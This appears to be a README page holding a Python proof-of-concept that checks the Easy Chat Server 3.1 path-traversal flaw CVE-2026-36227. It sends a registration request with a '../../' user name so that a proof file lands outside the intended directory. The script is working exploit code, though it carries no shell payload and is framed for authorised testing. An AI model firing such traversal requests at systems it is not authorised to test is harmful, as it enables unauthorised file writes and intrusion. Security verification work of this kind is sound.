README.md
Rendering markdown...
#!/usr/bin/env python3
"""Benign verifier for CVE-2026-36227.
This sends the Easy Chat Server registration request with a traversal-style
UserName value. It does not include executable payload content.
"""
import argparse
import socket
import sys
import urllib.parse
DEFAULT_USERNAME = "../../ecs-traversal-proof.txt"
def build_body(username: str) -> bytes:
form_data = {
"UserName": username,
"Password": "proofpass",
"Password1": "proofpass",
"Sex": "1",
"Email": "[email protected]",
"Icon": "0.gif",
"Resume": "CVE-2026-36227 benign traversal verification",
"cw": "1",
"RoomID": "<!--$RoomID-->",
"RepUserName": "<!--$UserName-->",
"submit1": "Register",
}
encoded_parts = []
for key, value in form_data.items():
encoded_key = urllib.parse.quote(key, safe="")
encoded_value = urllib.parse.quote(str(value), safe="/")
encoded_parts.append(f"{encoded_key}={encoded_value}")
return "&".join(encoded_parts).encode("utf-8")
def build_request(host: str, port: int, username: str) -> bytes:
body = build_body(username)
headers = [
"POST /registresult.htm HTTP/1.1",
f"Host: {host}:{port}",
"User-Agent: CVE-2026-36227-local-verifier/1.0",
"Accept: */*",
"Accept-Language: en-us",
"Connection: close",
"Content-Type: application/x-www-form-urlencoded",
f"Content-Length: {len(body)}",
"",
"",
]
return "\r\n".join(headers).encode("utf-8") + body
def send_request(host: str, port: int, username: str, timeout: float) -> bytes:
request = build_request(host, port, username)
with socket.create_connection((host, port), timeout=timeout) as sock:
sock.sendall(request)
chunks = []
while True:
chunk = sock.recv(4096)
if not chunk:
break
chunks.append(chunk)
return b"".join(chunks)
def main() -> int:
parser = argparse.ArgumentParser(
description="Benign verifier for Easy Chat Server 3.1 CVE-2026-36227."
)
parser.add_argument("host", help="target host you own or are authorized to test")
parser.add_argument("port", type=int, help="target HTTP port, commonly 80")
parser.add_argument(
"--username",
default=DEFAULT_USERNAME,
help=f"UserName value to submit, default: {DEFAULT_USERNAME}",
)
parser.add_argument("--timeout", type=float, default=5.0, help="socket timeout")
parser.add_argument(
"--dry-run",
action="store_true",
help="print the HTTP request and do not send it",
)
args = parser.parse_args()
request = build_request(args.host, args.port, args.username)
print(f"[+] Host: {args.host}:{args.port}")
print(f"[+] UserName: {args.username}")
print(f"[+] Request size: {len(request)} bytes")
if args.dry_run:
print(request.decode("utf-8", errors="replace"))
return 0
try:
response = send_request(args.host, args.port, args.username, args.timeout)
except OSError as exc:
print(f"[-] Request failed: {exc}", file=sys.stderr)
return 1
print("[+] Response received, first 500 bytes:")
print(response[:500].decode("utf-8", errors="replace"))
print("[+] Check the Easy Chat Server web/root directory for the proof file.")
return 0
if __name__ == "__main__":
raise SystemExit(main())